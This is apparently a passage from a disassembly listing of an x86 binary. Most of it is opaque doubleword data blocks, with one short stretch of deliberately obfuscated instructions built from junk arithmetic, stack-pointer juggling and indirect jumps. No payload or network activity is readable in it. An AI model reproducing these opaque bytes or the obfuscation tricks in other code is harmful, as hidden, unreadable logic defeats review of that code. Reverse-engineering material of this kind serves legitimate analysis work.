		dd 0A35F062Fh, 0EF2CDF51h, 0A0AA1DDAh, 1A202622h, 0BDF39351h
		dd 0D9610A47h, 35D512A4h, 2B4E8AC6h, 91F4A661h,	1AF430EBh
		dd 709BAA1h, 2A74DE3h, 8E3D0000h, 1AA0E555h, 66286DDDh
		dd 0E394E9A1h, 6F117426h, 41B1FEACh, 4F63147h, 8D7DBEC1h
		dd 14C60348h, 9A508B31h, 91BAE169h, 643BF60Eh, 35A871B9h
		dd 77C44681h, 538C3C1Dh, 0CB3D3DB7h, 4417EB6Fh,	46DFAB1Bh
		dd 0BBD609F2h, 85B36E9Ah, 0B5091A76h, 0D83CFC8Eh, 20523733h
		dd 0A76A7467h, 0BFEFAA3h, 0B9D179C1h, 6F98C347h, 463BFBD1h
		dd 0F9F17B55h, 0C4802B0Fh, 0B3218B5h, 63E72056h, 0BF6CBC98h
		dd 0BD20EABDh, 0B1A9C0FEh, 0ACC89357h, 63AE1B90h, 5ADE92B8h
		dd 0DDA9E811h, 82CEBDC2h, 0A4868078h, 0F83E39F7h, 0FBFB80B8h
		dd 0E9042E4Ah, 759ECD6Dh, 48B7FAE8h, 4A3169A3h,	4FF8DE0h
		dd 8E497356h, 0C4837A52h, 9137EB98h, 1D9h, 0D387400Bh
		dd 5B0FC8FEh, 27935466h, 0A218D1E2h, 2C9E596Fh,	0E3950FC3h
		dd 681F7228h, 0F186FBAFh, 7D0F4238h, 0BF3BC882h, 0F60CC3ECh
		dd 0AFFF9A3Bh, 158D23A8h, 937D1E60h, 0EF2850B9h, 67E1996Bh
		dd 0CD82B8C3h, 7BE1307Fh, 33663FA3h, 0DD9EB02Bh, 0C62ED4F8h
		dd 9464B063h, 0FBFE2FC7h, 3535E63Ch, 6CEE2B50h,	0CF08BA9Fh
		dd 3494C04Bh, 0EF285D30h, 0FCF7204Bh, 0DDCE3BFBh, 0A2A6B3F3h
		dd 9BF586A4h, 3BFBCE11h, 0C59662AEh, 3CF67C35h,	523733D8h
		dd 0A7D09B25h, 7E3BF6ABh, 0CB30DA8Dh, 64144981h, 0AB668FDCh
		dd 4C3F3BF6h, 0CBBE790Fh, 558E3A1Fh, 20D9E695h,	2BB986D0h
		dd 51845EE1h, 7A56969Bh, 0F25414DEh, 0EB91F448h, 0F7212A30h
		dd 0D690EB4h, 2C0EFD32h, 75DA03A8h, 5EB346DFh, 0D13BEE2Fh
		dd 17F68519h, 12BC4A98h, 8A3E1B75h, 0C4F4E951h,	479C10Bh
		dd 0D59FBB74h, 64373315h, 3CFC5F64h, 0BE04402Bh, 0A314C2E8h
		dd 0CBE98Fh, 72190000h,	0FE8CC1B9h, 42744901h, 0CFF0D585h
		dd 4B7D500Ah, 1DCDDA90h, 60DA1DA3h, 0E9A19A2Dh,	702AE794h
		dd 0C6B46F1Dh, 0B5DE8D4Dh, 883BF60Bh, 0A2A69DEDh, 0A949724h
		dd 2C6D8A34h, 53B8A29Fh, 77115AE0h, 2E3CF6F4h, 0D0F8DD7Dh
		dd 493CFF81h, 91999AE1h, 0C8A85598h, 0B3D93C8Ch, 0EE9FF278h
		dd 9B9114B1h, 857863B5h, 0BE5AB685h, 88E6513Ah,	20568109h
		dd 4E45B3F4h, 0D91D3A79h, 0FEDB14A4h, 3C0F0BCCh, 69B925D0h
		dd 3942E823h, 4B4A1097h, 0A4F5E6F6h, 0CA9879ACh, 488D7D57h
		dd 0EF63C700h, 1901FA8Ah, 0AAB6DF32h, 0EBE3B48h, 82CEBDCDh
		dd 894E7356h, 0A70B0081h, 0FA3547h, 0E644BFCDh,	0DE3AFD83h
		dd 3843Ah, 0C8100000h, 0C90249E0h, 0E35C6C41h, 0BC750267h
		dd 53943B9Eh, 69A2D2B7h, 3FF88CE1h, 0D415A61Bh,	0E82F5336h
		dd 807F0F62h, 8956B99Ah, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 2404895Ch, 37E768h, 24148900h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h, 57243489h, 0E99A21BFh, 8BFA890Ah,	0C481243Ch
		dd 4, 24348B54h, 4C481h, 0EC810000h, 4,	89241C89h, 85E89D3h
		dd 24348B5Bh, 5E08950h,	4, 8704C083h, 0FF5C2404h, 815A2434h
		dd 4C4h, 0DEFBE900h, 31ACFFF9h,	40B81879h, 30AE9A0h, 66E0FFC5h
		dd 0C425992Ch, 2472A76Fh, 0DC106621h, 953B6FF9h, 8F3696D8h
		dd 186A9157h, 22067C9Eh, 0FD58ECA3h, 5E4B83A2h,	0E81C3F4Eh
		dd 0Ch,	87527C98h, 0EF54F3D0h, 533DE28Ah, 31C08158h, 0E800006Dh
		dd 8, 8EA6DC7Fh, 0AA57A119h, 437BE66h, 6859h, 0EC8A0000h
		dd 0CE9605Bh, 0F3000000h, 822E7A3Dh, 4C75C79Eh,	5263320Ch
		dd 0CE9h, 3EAED00h, 603BB5D5h, 0C5C3B4CAh, 0FF615A3Fh
		dd 5E80334h, 0A000000h,	0C13FCDCEh, 18E0Fh, 5AF50000h
		dd 0ED49BA5Fh, 0F7817F1Ah, 45679F7Bh, 10E9h, 0DF979D00h
		dd 0E5CE52EDh, 51A59968h, 0F7625DE4h, 9CC78137h, 0F7DCC56h
		dd 386h, 0F5DE8000h, 36BBEF81h,	8B660111h, 48F57CEh, 0BE818h
		dd 46F40000h, 73C7BC73h, 0BD45F3EFh, 82EA81BEh,	5E219CDEh
		dd 0BE9h, 6DBD9A00h, 811DAC47h,	92AFDBFFh, 549BEB81h, 8B66503Ch
		dd 97C381F0h, 81503C54h, 0FF93E4FBh, 16850FFFh,	0E9000000h
		dd 2Dh,	8071DD42h, 0D0CFCE9Ch, 0A841B74Bh, 94B863CCh, 0CEB70F35h
		dd 0FFFF4EE9h, 0E8C164FFh, 57C6E3A4h, 4A1307F9h, 5067A6B7h
		dd 0DF56EE20h, 10E992h,	0B7A30000h, 274Ch, 2 dup(0)
		dd 0CAE90000h, 68000004h, 0AE9A320h, 0F9DD84E9h, 0A38C68FFh
		dd 7AE90AE9h, 68FFF9DDh, 0AE9A4CDh, 0F9DD70E9h,	827B0EFFh
		dd 0AC5F5C8h, 8E497D50h, 13D4F9DCh, 995262A7h, 0A814C621h
		dd 127723E4h, 9DF0AA63h, 24733ECh, 46CDBD76h, 8BEE7B4h
		dd 0EA973BF6h, 5207499Ch, 9E6DED26h, 3E4A2F2Bh,	1BDF15C5h
		dd 625E0D2Dh, 3D3CFCA9h, 0B2DFCC4Eh, 283BFCA8h,	0E09DAB37h
		dd 0E84D95D2h, 306h, 91579C94h,	0AB254E1Dh, 13F846DFh
		dd 0CD3B3F39h, 9115E96Dh, 0DFABA1CAh, 74877446h, 46DFAB4Bh
		dd 0C1F7922h, 3CFC8F50h, 57802B4Fh, 2E3BFC8Fh, 0F5A68A7Dh
		dd 4697E8B1h, 7AC04602h, 7641C931h, 6BEF9C45h, 0C9F1E199h
		dd 0CC9F5B0Eh, 3F976708h, 0F6962457h, 7EB16A1Dh, 735D0494h
		dd 83E64437h, 593C3EF9h, 2E9AF631h, 18E6A1EBh, 88801190h
		dd 0A8007C2Fh, 6101669Bh, 31B2BCDh, 22690000h, 0AEDC31E9h
		dd 3244B971h, 0BFC005F5h, 3B4D807Ah, 0ED1D0AC0h, 500ACDF3h
		dd 0D9914A7Dh, 0A01AD7E4h, 36E45F6Dh, 0E50E5D1Dh, 0B83BF607h
		dd 0A2A6CDDDh, 457C5024h, 1942CE62h, 46DEE5F0h,	0B063D6C5h
		dd 2D53368Ah, 587DAEEAh, 353CF684h, 0FF81E446h,	450B4E3Ch
		dd 51139882h, 944F807h,	525C8843h, 0CFFEF650h, 2AF752Bh
		dd 0B6C50000h, 2488D7Dh, 8E3015C5h, 0BBC9149h, 97391CCEh
		dd 5989E654h, 2C9E596Fh, 0B565A6E9h, 3CEE2B50h,	8278B3D9h
		dd 79A2C981h, 4C3BF608h, 0A2A65951h, 0B0D586A4h, 9D3CF748h
		dd 123F6CEEh, 0DA3BF609h, 0F4E971AAh, 0B40406C3h, 0E057218Dh
		dd 28D5F37Fh, 204D9F76h, 1C2h, 1BD4E598h, 0DCC00CFFh, 9DA523A8h
		dd 36E57B78h, 0CD3E6734h, 641746DEh, 40BBC128h,	1AD5E7DAh
		dd 40C682A0h, 0EA5DB1FAh, 0CB303CFBh, 3398C755h, 1F3BEEBBh
		dd 6B94C75Bh, 423BFC11h, 0FF2C7F59h, 7D3BFC10h,	0BD4A1EC0h
		dd 0B74D954Eh, 23h, 32A2A6E7h, 53974A83h, 0FC945808h, 0CE4C3F3Ch
		dd 0FC91B0DDh, 0AD312E3Bh, 95C9E29Bh, 0B8E64Dh,	49960000h
		dd 6F42C803h, 2F5C9E59h, 0D9ED5D30h, 0DC0FFC1Eh, 85CFF55Ah
		dd 8F487055h, 0E692F78Bh, 0F2DE2D2Dh, 403AF587h, 0DED7583Bh
		dd 0BF780046h, 0E76119CBh, 7E191843h, 0AC203CFAh, 0FA9BD6FFh
		dd 5B6AAF3Bh, 209378E2h, 63C7B4F4h, 0BDBD7E0Eh,	24895239h
		dd 464E2B28h, 0FA670A33h, 0FCBBC43Bh, 0F3D53EEEh, 2098F4A7h
		dd 2460DBEDh, 14C568B8h, 6E13B569h, 84000001h, 0B4E3CF5h
		dd 0F3D68443h, 7F5208CFh, 0F8DD8D4Ah, 48A713D4h, 5D9E2E9Ah
		dd 24E5A8EDh, 0AD6A1376h, 37F098FDh, 610AC043h,	3BF60738h
		dd 491A100Dh, 3316C407h, 0E5B2CE89h, 0F8BD05F7h, 7528EF93h
		dd 23A87585h, 0B3F9E826h, 37226E1Ah, 0EDC04A85h, 0A3C664DFh
		dd 0D4FDAE1Eh, 0A946DF72h, 0B0FC2h, 9DF074D4h, 1AE430EBh
		dd 0FB4D7E5Eh, 0DF7387B0h, 0FAAD5E46h, 0CAAF2307h, 12157FB8h
		dd 3CFCA4BFh, 600525D6h, 8FF51B5Ch, 7059BD38h, 5693019Eh
		dd 2316C9E8h, 20131B80h, 6A20934Fh, 0B8E993F6h,	3460D314h
		dd 0FC25C6F3h, 0B604773Bh, 74056BDEh, 3F4DACE8h, 8D3316C4h
		dd 0C9F2B93Dh, 9C3BFC5Ch, 5D739CEFh, 0A14A3BFCh, 63294CEEh
		dd 8CC6CA8h, 0AFE92255h, 9489h,	0A2A61D00h, 0BCD586A4h
		dd 913CF748h, 992D40EAh, 2C6725Eh, 8B4DD8Eh, 95893BF6h
		dd 0F6099DC6h, 0D88B703Bh, 9204912h, 6F53BF6h, 0E2DDEFCAh
		dd 0D1E5B3BEh, 8D852316h, 10752598h, 1BA62F68h,	0F9C4EDBEh
		dd 0F2993BF5h, 71B73EBFh, 0A7A36428h, 3279E154h, 17510FB0h
		dd 0ED3DA15Eh, 42C664DFh, 930EF019h, 0FAD6C51Fh, 4681CB0Eh
		dd 1BDCE1C4h, 0D599B6FFh, 9E4C8735h, 0FAA111BBh, 1F930ED1h
		dd 604F7A4h, 0C60h, 23A83400h, 77B52B62h, 0AEE2A70h, 0C9024922h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 2168B99Ah, 89000048h
		dd 0C7682434h, 89000040h, 8951242Ch, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 2434895Ch, 0A247B850h, 81500AE9h, 223B2434h
		dd 815D518Ch, 8C223BF5h, 0EC815851h, 4,	81242489h, 42404h
		dd 685E0000h, 177Eh, 89243C89h,	87E89EFh, 24348B5Fh, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 53242C8Bh, 0C381E389h, 4
		dd 4C381h, 1C870000h, 0CEE95C24h, 0CAFFF9D8h, 17249DF6h
		dd 62828A8Fh, 0A660B876h, 0C5030AE9h, 89EFE0FFh, 59FF3AE0h
		dd 0AF790CB6h, 0EAEE542Ah, 8ECD7E8Eh, 0DF5F1EEDh, 837556EEh
		dd 0ACD448E9h, 8D8D39D9h, 0AE9A7FBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0A0C35747h,	527ED8A1h, 0FFC7161h
		dd 8D89C7B7h, 0AE31479h, 0F6CC58BAh, 0C985C74Ch, 0C40AE306h
		dd 6A000073h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0F1D7C350h, 47D629C4h,	6870F0Fh
		dd 89000000h, 0E3331185h, 6985C70Ah, 0AE300h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 7A5EC352h, 6259A6C1h, 4DB5FFDBh, 6A0AE32Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 9818C356h, 870F2267h, 6, 0AA18D89h, 95FF0AE3h
		dd 0AE326B5h, 5098D89h,	6A0AE3h, 1CD195FFh, 0C08B0AE3h
		dd 0C15E4CEBh, 0B6FA8C22h, 1897F0A6h, 72ACA6DAh, 0D7E3C36Ah
		dd 0D1FA393Ah, 0A3B3D41Dh, 0B14738AEh, 99767F3h, 0A5663AE2h
		dd 33227E28h, 0FEF11163h, 7A9D441Fh, 0BE28E58Eh, 769E2399h
		dd 0C543737Bh, 6EDCC7BFh, 0A35999A4h, 4CBEE58Ch, 2BE9698Fh
		dd 52000000h, 17EC6Dh, 9 dup(0)
		dd 87E90000h, 0C8000005h, 0BF924881h, 271AD00Fh, 0A3E65493h
		dd 2C61D91Eh, 0BCEB5F98h, 0E922524Eh, 70A9DC31h, 0F93647BAh
		dd 43BCCC01h, 0ADFE7C97h, 3BF60384h, 0D1BABC59h, 8A18A3D9h
		dd 6ED407CDh, 39AFA345h, 499696C2h, 6F42C803h, 82C9E59h
		dd 64E62155h, 0C9BC7F01h, 0B31EAA8Fh, 8C40CA0Dh, 0DFAAB6DFh
		dd 299C8F46h, 9A87F476h, 6E175588h, 0B72ACE0Ah,	6D40CA05h
		dd 0D78E25Dh, 12796AF4h, 0D2FBB736h, 5EBB9532h,	0C439F12Ah
		dd 4D807AB7h, 0BEE7B43Ch, 9746DF88h, 0B42931E4h, 0EC2D5E01h
		dd 0BB901139h, 1EA6D737h, 7496517Bh, 894B7487h,	792246DFh
		dd 0CBF1D486h, 0B72A10h, 37EA2D51h, 4CEC2813h, 41F7C388h
		dd 50658EDDh, 533846DFh, 0BA8BF760h, 0A2EE2951h, 0DFAA5581h
		dd 77CB6F46h, 0DFA9FB24h, 19DEE346h, 73E1A01h, 0D1F08D5Bh
		dd 5DF84776h, 70000000h, 0AF3C7C0Bh, 0BEF154BEh, 0B7126FDFh
		dd 8E9EFA1Fh, 42C80349h, 0DFAB2A59h, 571B4446h,	1D832556h
		dd 81790816h, 831BA457h, 1114776h, 7D000000h, 44C60149h
		dd 7C9E5961h, 97B37419h, 3445383Ah, 0D87B88FBh,	0D02299B6h
		dd 5E54984h, 6CC0BA75h,	4A864109h, 43745D6Fh, 1767D386h
		dd 66C40749h, 0E822B115h, 0A7F1D53Ch, 0AF681E73h, 2713C08Bh
		dd 74993D5Eh, 0EE07F018h, 4F12A244h, 2B0FC23Dh,	0F0DB0457h
		dd 0C9B246DEh, 0B2C63B8Fh, 0CAFCD179h, 2A92D0Dh, 46DEF0D9h
		dd 0E99AFFACh, 0F7212A30h, 9F43FC43h, 766C2CC9h, 702447h
		dd 0E1840000h, 0EFD1DDEh, 749E2C2h, 7A0366C4h, 0C5EEBDBDh
		dd 9846DFAAh, 1C7199F3h, 98DAD6Ah, 0DFAB3962h, 351F0C46h
		dd 0DF18A005h, 0F932463Bh, 13DF7451h, 4B172C65h, 18D215BBh
		dd 0B2589325h, 0ED6DAADFh, 4879E51Ah, 95974203h, 0ED73013Ch
		dd 40942070h, 49EA2699h, 4776F4ACh, 2FA4h, 749D000h, 5A6346C4h
		dd 0E277D9Dh, 0F93242A4h, 35A8F901h, 7AC14982h,	54933B1Eh
		dd 0AAB9E5B6h, 6AD346DFh, 0D047E0C8h, 14D4776h,	39000000h
		dd 0E6B50549h, 46DFAABDh, 1238EB90h, 68D20DBFh,	0AB9EC794h
		dd 847746DFh, 28E1A048h, 0DDE08586h, 0B5D9301Ch, 0D7A4B872h
		dd 440B7A90h, 232D67E8h, 52192127h, 3CFBBE8Eh, 9DF01A01h
		dd 34634EFh, 79A2C979h,	9C3BFBDCh, 0FBDCA6CFh, 7E8C7F3Bh
		dd 0C3B6711Bh, 72A10A10h, 7A3BFBDCh, 65B80F48h,	0B23DFF73h
		dd 52665BFFh, 10097199h, 67DE2A4Eh, 0A6612BFBh,	30EB91F4h
		dd 0CA05B72Ah, 0E63F740h, 2C9FBB7Ch, 807798B2h,	4C887BCAh
		dd 0AFDD2DB1h, 0F8858674h, 0C64D95D8h, 96F01942h, 0D6C53BFCh
		dd 17848FAh, 6CE00000h,	0FC97163Fh, 0D03CEF3Bh,	0A4A2A6CCh
		dd 0DD8E0286h, 46DFAAB4h, 75B6E289h, 3CFCA8B5h,	0B21733D8h
		dd 86DCD06h, 0B6858542h, 0E1ABEE5Ah, 3B412426h,	51675AC0h
		dd 6B117496h, 221BAAB0h, 1409F880h, 0D710B84Ah,	0D55FE863h
		dd 91554D95h, 41000000h, 87A3A7A6h, 9C5D6E03h, 6EA66FB0h
		dd 0AB2FCFE1h, 0AC5B84D7h, 4932C6DFh, 0DFAC0D36h, 0D13BE0C6h
		dd 733822C9h, 0C6DFAC4Ah, 8E3C6312h, 197C9E51h,	739CCF73h
		dd 4AC6DFACh, 1F6CEEA1h, 1B4AF847h, 44FDD624h, 8CA89E9Ah
		dd 33CC8FFh, 0ABE501B2h, 5BDFD092h, 0E0A7E710h,	83CDBEC6h
		dd 0BA808679h, 1CA0D5D1h, 4884A901h, 4712DB80h,	27BB4FE2h
		dd 0DED34B74h, 23F92246h, 7E061E58h, 0ACFCD88Bh, 54BAE388h
		dd 0E89346DFh, 97C34535h, 0DB000000h, 86A4A2A6h, 0FC9285D5h
		dd 2703E83Ch, 647AB154h, 0A7F1993Ch, 0C66A1E73h, 0FBBC6C95h
		dd 675A413Bh, 0B2F386B8h, 0F8B26541h, 0EEBCF785h, 2CAD2319h
		dd 9E0D0DC0h, 3BFC83DCh, 0CCDE80BDh, 82E743BCh,	0DE19ADF4h
		dd 0FE1CCF3Ch, 557E2D0Dh, 283BFC83h, 0B3B10943h, 0C2E951B7h
		dd 32141B66h, 0AC7F4E9h, 2931DACEh, 4FCB04B4h, 7887F446h
		dd 0DEF0B306h, 0C4468135h, 0BD488477h, 0CC3A3E31h, 4516EA6Eh
		dd 46D4F51Ch, 32EF9CF1h, 0B612157Fh, 0E93CEC8Ch, 7427E094h
		dd 35A87686h, 7BC04A85h, 3513D711h, 430A6635h, 0F0953CF7h
		dd 0E7C30DCAh, 2E533634h, 0D91EA0E9h, 6A8ECA31h, 0AEFD4577h
		dd 3BF60385h, 0AC0B358h, 0C04A8537h, 0F1C1C1DBh, 0FE60A126h
		dd 0F7A39C2Ch, 2D2DE692h, 498634A9h, 36992A0Fh,	6337C982h
		dd 8558EC6Ah, 235548D2h, 0D84235E8h, 1CEE70C9h,	63C7B36Ch
		dd 0F1D2BC18h, 4D870FE8h, 67E35C6Ch, 14C1h, 34C8D500h
		dd 0AAC2EBB0h, 0F09B46DFh, 7191BEBDh, 74A060D1h, 0C9024930h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 8950B99Ah, 405E0h
		dd 0BB530000h, 4, 875BD829h, 685C2404h,	15C6h, 57243489h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0BB53243Ch, 5AED2DA7h
		dd 70E6EB81h, 0F3813C15h, 58BE3218h, 0F83C381h,	0BF5756D9h
		dd 6DA70A25h, 895FFB01h, 0EC835BDEh, 24248904h,	4240483h
		dd 8953515Fh, 5BD989F3h, 59084F89h, 52243C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 34FF5C24h, 0C4835E24h,	0D1B3E904h
		dd 0A063FFF9h, 78B8404Dh, 30AE9ADh, 0AAE0FFC5h,	955B67D7h
		dd 6D745A62h, 0EF1D3BB5h, 0D7EAC8Fh, 0C1270ABh,	9D0EBE4Ch
		dd 0F20C0B40h, 0C06C7802h, 0BE3C7B0Fh, 0E150E3C7h, 0F769E652h
		dd 0EC5C58CBh, 0E83C8652h, 6, 9AD018CDh, 0B70F6BD7h, 0C1B85AC7h
		dd 81701E0Ah, 5E60C2h, 2820F00h, 0B0000000h, 0E8C9338Ah
		dd 0Fh,	34C1F835h, 0FBD1B081h, 54F27DAh, 0B8F50009h, 11A99CCBh
		dd 1134FF58h, 8E95BFCh,	0CB000000h, 67C4F749h, 818AD4AEh
		dd 0ADE24FEBh, 0EB8175h, 0BE154CC6h, 6C375502h,	0C2FBF381h
		dd 0B4534504h, 0A048FB0h, 72F78166h, 83F38BD3h,	0F98104E9h
		dd 0FFFFA228h, 0FFBB850Fh, 850FFFFFh, 8, 2820Fh, 58560000h
		dd 25E9h, 0C17C1600h, 3Ch, 7 dup(0)
		dd 0C4E90000h, 4C000005h, 3316C43Dh, 0BB9E4C8Bh, 271AD017h
		dd 0A0E55592h, 6FDB1Ch,	65A6D6D2h, 0EC2D50B5h, 75B2DB3Eh
		dd 0FF384085h, 2972F80Bh, 3BF5FC00h, 453628D5h,	0D621A28Eh
		dd 4C7059E1h, 495D418Bh, 8E42C803h, 2A66A1EBh, 0FC7EB9CFh
		dd 1436F199h, 95B0F427h, 60B189E5h, 4B715434h, 72F68A90h
		dd 0DF900029h, 0EA26D546h, 1802FD8Fh, 30DA15A5h, 52622F5Dh
		dd 0D78A7199h, 66295E33h, 38229556h, 6A0ED069h,	0A446E829h
		dd 0C23D4D14h, 4A00F358h, 0D1894677h, 9257781Dh, 60498388h
		dd 197C9E5Bh, 3095B576h, 0E8CD4D8Ah, 95E565A2h,	79B6C26Ch
		dd 0FF8C1EC0h, 44533802h, 46F37759h, 0A3E662AEh, 791CDE19h
		dd 88739750h, 9EFA3D43h, 0FB95E67Ah, 539438C3h,	0EF1144B7h
		dd 0F3B882F9h, 46DEDBCAh, 8B9CF8A3h, 46DEDC5Fh,	0E89CF179h
		dd 8628E52Fh, 761F05A2h, 620F47h, 36AB0000h, 79C24881h
		dd 35A80F1Fh, 2A0F4982h, 4A8D339Eh, 0F9287397h,	9746DFAAh
		dd 594C6813h, 45D3CAA1h, 5870F20Bh, 4776D1AFh, 1A5h, 149D100h
		dd 361764C6h, 904F7F94h, 0CE4E818Ah, 81A9E3B4h,	0B9A19E2Ch
		dd 1AF6B3C4h, 8A854F36h, 7855F5A8h, 0C7F717DBh,	4D7F5208h
		dd 8135A892h, 6EBE0A46h, 46C40749h, 7E9C5B63h, 20C26C81h
		dd 0AAEF5B9Ch, 0A125251Eh, 0AB557E2Dh, 432846DFh, 1F1FD210h
		dd 0D13BE070h, 911D6F8h, 54551906h, 0CC628BD0h,	503B46DEh
		dd 93AD304h, 5C4E4776h,	3E000000h, 58440749h, 72A58DF1h
		dd 9CF119CCh, 402D2DEAh, 0B9CFDF83h, 7498C7Eh, 5E6346C4h
		dd 5C8F6519h, 0D48713BDh, 46DEB9ABh, 73269982h,	73FF60D7h
		dd 7627B855h, 52D047h, 49BC0000h, 0BFE8B307h, 9646DFAAh
		dd 0B52832E5h, 0C6EFBC04h, 9F46DFAAh, 831139ECh, 0D6E608AAh
		dd 4955A515h, 5744C601h, 46DFAB2Bh, 72561845h, 4776D0F5h
		dd 1BFFh, 0B4E77B00h, 46DF9F8Bh, 9EC0E9B2h, 0E69546DFh
		dd 0A2CB9094h, 7B46DF9Fh, 0B3F3DD90h, 488335A8h, 5E992D0Ch
		dd 78B3D9BCh, 0F87AD3D2h, 0FF2873F7h, 0E746DFAAh, 160515D2h
		dd 6CABDF3Ah, 0D2B4B4BEh, 0EE8E2963h, 364683FEh, 33E655F5h
		dd 9D235237h, 0DED5A5CEh, 20937846h, 733764F4h,	1A3CFBC6h
		dd 0E794C971h, 0E8DB202Ah, 44712F3Ch, 49E12BD8h, 3FEB2454h
		dd 0F575AEDAh, 58CD8186h, 59B395FEh, 3BBBEAB1h,	0A19C3BFCh
		dd 0F2DFED3Dh, 3C0F0BC4h, 0CBC9149h, 265237D3h,	7A00517Bh
		dd 0FBAE9DBDh, 18350208h, 0CB04B456h, 1447DB1Fh, 3BFC3BEBh
		dd 0B3DF7CE5h, 35457812h, 5CE90A46h, 544D9587h,	172h, 0FC8F194h
		dd 0D0D4000Bh, 86A4A2A6h, 331DDAE3h, 0A8B47427h, 0B70B3CFCh
		dd 0FCA5BBE4h, 497F923Bh, 0A9F1DB8Eh, 576558C2h, 953B5E9Ch
		dd 8679B6C4h, 0A5CEF7A4h, 0F4A73BFCh, 0DFED2098h, 0F983E664h
		dd 37593C3Eh, 877098F4h, 4E8F3E53h, 0F8157FCCh,	2BE49476h
		dd 0D523DC7Fh, 83294D95h, 55000000h, 87A3A7A6h,	85F6E03h
		dd 6CCE8146h, 0DFAB163Fh, 0D03CEF46h, 0E16F06CFh, 487A9FCFh
		dd 0C0394A8Fh, 1C3EF15Ah, 0DFAC668Fh, 817A0EC6h, 0D6932499h
		dd 0CADE19EBh, 8E8C7F8Ah, 0DD5B073Eh, 63284DE9h, 0FD36AA6h
		dd 0CD9E5D10h, 0C6DFE9A4h, 1499279h, 0A4D713C6h, 0C3F4F021h
		dd 9E5AB6F5h, 0E19404CDh, 38F2994Fh, 0D2FBA024h, 0AB46DF86h
		dd 9F6694C0h, 0E2000000h, 5181FE8Fh, 318FE0C3h,	40CB4F02h
		dd 0A2A61014h, 6F0286A4h, 74B7E15Eh, 3CFC9324h,	0C7BAA04Bh
		dd 60D9ECB5h, 0EC5E11FAh, 2228E3A9h, 4186CBAEh,	52672D9h
		dd 3BFC9343h, 0A545E944h, 0C46EDC17h, 0FD267504h, 3BFC92h
		dd 0FC93325Bh, 0A600B3Bh, 931C4516h, 0AF13BFCh,	1546E457h
		dd 3214252Fh, 69ED6D1Eh, 6B104374h, 0EC5FFBAEh,	0C80349A0h
		dd 0BC7B0F62h, 50E9B850h, 0F1D7938Eh, 0D9813C6Eh, 5259891h
		dd 62DFEC81h, 0E63913F8h, 3CECCA00h, 27501B9Fh,	0FE3BFBCEh
		dd 34E7C30Dh, 0A2A63646h, 0EFD586A4h, 5E3CF73Ch, 80C8ADADh
		dd 743639C7h, 0DC8FE0DAh, 0D2E79A1Eh, 0BAD90215h, 0ED9D3BF5h
		dd 0D933D832h, 0A39C2C61h, 3A4E23A7h, 0A6F259C1h, 0CE747085h
		dd 0A29F2C0Dh, 77B0C5B8h, 9559F6D3h, 0CD91AEE3h, 0D417B9DCh
		dd 30EB91F8h, 2C75077Ah, 0D19AA099h, 0A1E72A8h,	3FDB8E7Dh
		dd 6AF0295Ah, 86844377h, 0B05A9D23h, 0C6B23CD5h, 8229ADA9h
		dd 0A1E7259h, 0F8157F2Ch, 0BDE49476h, 0C249D10Ah, 0CEA02B0Fh
		dd 3E67343Bh, 170A1E9Ah, 1C3C3164h, 6CA11973h, 1A47755Ch
		dd 5CFEB16Ah, 781E3CEFh, 3, 49E0C82Ch, 6C41C902h, 267E35Ch
		dd 3B9EBC75h, 0D2B75394h, 8CE169A2h, 0A61B3FF8h, 5336D415h
		dd 0F62E82Fh, 0B99A807Fh, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 21682404h, 8900003Ah
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	esi, 1268210Bh
		or	esi, 1CA33EFh
		sub	esi, 1B1F55EEh
		and	esi, 42621A03h
		push	ebp
		mov	ebp, 46D76D13h
		shl	ebp, 3
		or	ebp, 5BF23FF8h
		and	ebp, 7CE51BBDh
		or	ebp, 6B454E31h
		shl	ebp, 7
		add	ebp, 42A88E7Ch
		sub	esi, ebp
		pop	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	1327h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, ebp
		mov	[ebx], esi
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		jmp	dword ptr [ecx+14h]
; ---------------------------------------------------------------------------
		dd 0FB6429B2h, 0B8DC8BEFh, 0AE9B412h, 0E0FFC503h, 211A35FCh
		dd 67DD875h, 7A1C8BF3h,	5CA0596Bh, 1035EC4h, 7AC58E8Bh
		dd 3656A953h, 744CF5A7h, 52C611DFh, 4D850B7Dh, 23A1B727h
		dd 1C81E6A8h, 287393A2h, 2CF9A37Ch, 6242311Ch, 4237B6BBh
		dd 64DAD45Eh, 4C08F467h, 50981618h, 301C0B8Ah, 1D18B225h
		dd 74725AD2h, 70514B24h, 762D3712h, 242FF8D7h, 29A8EDB3h
		dd 6032A6D4h, 0B5FE8D8Dh, 6A0AE9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0E9FB0FC3h, 0Fh, 33BDF8B1h
		dd 89BFE7E4h, 19271494h, 89A7AE98h, 0E314798Dh,	57006A0Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0C3F3ED26h, 3D9D0B56h, 5E0AE335h, 1835958Bh,	85C70AE3h
